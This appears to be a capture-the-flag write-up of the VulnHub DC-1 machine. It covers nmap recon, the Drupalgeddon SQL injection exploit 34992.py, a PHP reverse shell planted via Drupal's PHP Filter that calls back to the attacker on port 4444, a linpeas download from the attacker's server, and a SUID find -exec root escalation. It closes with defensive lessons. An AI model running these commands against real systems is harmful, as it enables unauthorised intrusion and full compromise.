the_open_door
coffee
ESEN

DC-1

VulnHubEasyLinux11.0.0.132

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#vulnhub#drupal#drupalgeddon#sqli#cve-2014-3704#php-filter#reverse-shell#find-suid#suid#gtfobins#linpeas
TL;DR. DC-1 is a Debian box serving Drupal 7 on Apache 2.2.22. The version predates 7.32, so it is vulnerable to Drupalgeddon (CVE-2014-3704): an unauthenticated SQL injection that lets you create an administrator account. With panel access we enable the PHP Filter module, publish a post carrying a PHP reverse shell and land as www-data. For privilege escalation, /usr/bin/find carries the SUID bit owned by root, and its -exec flag yields a direct root shell (the GTFOBins recipe).

Recon

The box lives on the local network. An arp-scan on the interface finds it; the target IP is 11.0.0.132.

arp-scan --localnet -I eth0
Interface: eth0, type: EN10MB, MAC: 00:0c:29:6c:50:e2, IPv4: 11.0.0.129
11.0.0.1    00:50:56:c0:00:03  VMware, Inc.
11.0.0.132  00:0c:29:3b:12:3c  VMware, Inc.
11.0.0.254  00:50:56:f0:ef:90  VMware, Inc.

A confirmation ping returns ttl=64, a hint (not proof) of a Linux system: Linux starts the TTL at 64 and every routing hop decrements it, so a value close to 64 suggests no intermediate hops.

ping -c 1 11.0.0.132
64 bytes from 11.0.0.132: icmp_seq=1 ttl=64 time=0.359 ms

Service enumeration

A full TCP port scan with nmap shows four open ports.

nmap -p- -sS --min-rate 5000 -n -Pn --open -vvv 11.0.0.132
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
37393/tcp open  status

A targeted scan with version detection and default scripts pins down the technologies.

nmap -p22,80,111,37393 -sCV -n -Pn 11.0.0.132 -oN targeted_scan
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
|_ /includes/ /misc/ /modules/ /CHANGELOG.txt /cron.php /install.php ...
111/tcp   open  rpcbind 2-4 (RPC #100000)
37393/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 is the interesting one. whatweb confirms a Drupal 7 CMS on PHP 5.4 behind it.

whatweb http://11.0.0.132
http://11.0.0.132 [200 OK] Apache[2.2.22], Drupal, HTTPServer[Debian Linux][Apache/2.2.22 (Debian)],
MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.4.45-0+deb7u14], PasswordField[pass],
Title[Welcome to Drupal Site | Drupal Site], X-Powered-By[PHP/5.4.45-0+deb7u14]

Drupal 7 below 7.32 carries one of the most infamous CMS bugs ever, so that is the vector to try.

Shell as www-data

Drupalgeddon: unauthenticated SQLi (CVE-2014-3704)

Drupal 7 (< 7.32) has a critical SQL injection in the array-expansion function of its database API. It is exploitable without authentication: a specially crafted request to the user-registration endpoint tampers with the query and creates an administrator account. It is known as Drupalgeddon (CVE-2014-3704, CVSS 10).

searchsploit lists several public exploits; 34992.py is the right one to create the admin user.

searchsploit drupal 7
searchsploit -m 34992
python2 34992.py -t http://11.0.0.132 -u test -p test

The exploit confirms the target is vulnerable and creates test:test with the administrator role.

34992.py (Drupalgeddon) exploit reporting VULNERABLE and creating the test:test administrator

                    Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                            Admin 4cc0unt cr3at0r
        Discovered by:  Stefan Horst  (CVE-2014-3704)

[!] VULNERABLE!
[!] Administrator user created!
[*] Login: test
[*] Pass: test
[*] Url: http://11.0.0.132/?q=node&destination=node

We log in at http://11.0.0.132/?q=user with those credentials and confirm we are in, with panel access.

Logged into Drupal as the freshly created test user, with administration options

From Drupal admin to RCE via PHP Filter

Being a Drupal admin is not code execution yet, but Drupal ships a module, PHP Filter, that lets content be evaluated as PHP. It is off by default; we enable it from admin/modules.

PHP filter module highlighted in Drupal's admin/modules, pending activation

With the module active, we create an article whose body is pentestmonkey's PHP reverse shell and, crucially, pick Text format: PHP code so the body runs instead of being displayed. We point the shell at our IP (11.0.0.129) and port 4444.

Drupal article carrying the PHP reverse shell in the body with the PHP text format selected

With a listener waiting, visiting the article fires the shell. The connection lands as www-data and we upgrade it to an interactive PTY.

nc -lvnp 4444
# or, as in the screenshots, a penelope-style handler

Reverse shell received from DC-1 as www-data and stabilised to a PTY; on the right, the published Drupal article

[+] Got reverse shell from DC-1~11.0.0.132-Linux-i686 ๐Ÿ˜Ž Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python!
www-data@DC-1:/$

Privilege escalation: find with SUID

Enumeration: SUID binaries

Now inside as www-data, the first reflex is to hunt SUID binaries by hand (they run with their owner's privileges; the ones owned by root are direct escalation candidates):

find / -perm -4000 -type f 2>/dev/null

/usr/bin/find shows up with the SUID bit and owner root, which it should not. To avoid trusting eyeballing alone, we also transfer LinPEAS with an HTTP server and run it on the victim; it reaches the same conclusion and highlights it:

# attacker
python3 -m http.server 8080
# victim
wget http://11.0.0.129:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Under Files with Interesting Permissions (SUID), LinPEAS (repo) highlights /usr/bin/find with the SUID bit set and owned by root. That binary should not have SUID.

LinPEAS listing SUID binaries; /usr/bin/find is highlighted as an escalation vector

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ Files with Interesting Permissions
โ•š SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root    87K Dec 10  2012 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7...
-rwsr-xr-x 1 root root    31K Apr 13  2011 /bin/ping
-rwsr-xr-x 1 root root    35K Feb 27  2017 /bin/su
-rwsr-sr-x 1 daemon daemon 50K Oct  4  2014 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
...
-rwsr-xr-x 1 root root   159K Jan  6  2012 /usr/bin/find
-rwsr-xr-x 1 root root   916K Feb 11  2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root    83K May 22  2013 /sbin/mount.nfs

Abusing find -exec

When a binary has the SUID bit and is owned by root, it runs with root's effective privileges. find can launch commands through its -exec flag, so we inherit those privileges. GTFOBins documents the recipe: -exec /bin/sh -p gives a privileged shell (-p stops the shell from dropping the effective UID).

find . -exec /bin/bash -p \; -quit
whoami
cat /root/thefinalflag.txt

The resulting shell is root. We read the final flag, confirming full compromise of DC-1.

Root shell obtained via find SUID; whoami returns root and thefinalflag.txt is read

www-data@DC-1:/tmp$ find . -exec /bin/bash -p \; -quit
bash-4.2# whoami
root
bash-4.2# cd /root
bash-4.2# ls
thefinalflag.txt
bash-4.2# cat thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

Attack chain

Drupal 7 (< 7.32) on :80
   โ””โ”€ Drupalgeddon / CVE-2014-3704 (unauth SQLi) โ”€โ”€ creates admin test:test
        โ””โ”€ PHP Filter + post with reverse shell โ”€โ”€ shell as www-data
             โ””โ”€ LinPEAS: /usr/bin/find with SUID root
                  โ””โ”€ find -exec /bin/sh -p โ”€โ”€ shell as root โ”€โ”€ thefinalflag.txt

Lessons learned

  • An outdated CMS is an open door. Drupal 7 < 7.32 is exploitable with no credentials; the version leaks through MetaGenerator and X-Powered-By. Keeping the CMS patched (SA-CORE-2014-005) would have closed the entry vector.
  • PHP Filter turns "CMS admin" into "command execution". Letting content evaluate PHP is effectively RCE for anyone with edit rights. Keep it disabled.
  • SUID binaries are a privilege-escalation classic. find with SUID adds no legitimate functionality and does add a direct path to root. Audit find / -perm -4000 -type f 2>/dev/null regularly and strip the bit where it is not needed.
  • Verification is the proof. After each step (creating the admin, enabling PHP Filter, firing the shell, abusing find) the result is checked before moving on, never assumed.
Command cheatsheet 11 commands

Quick review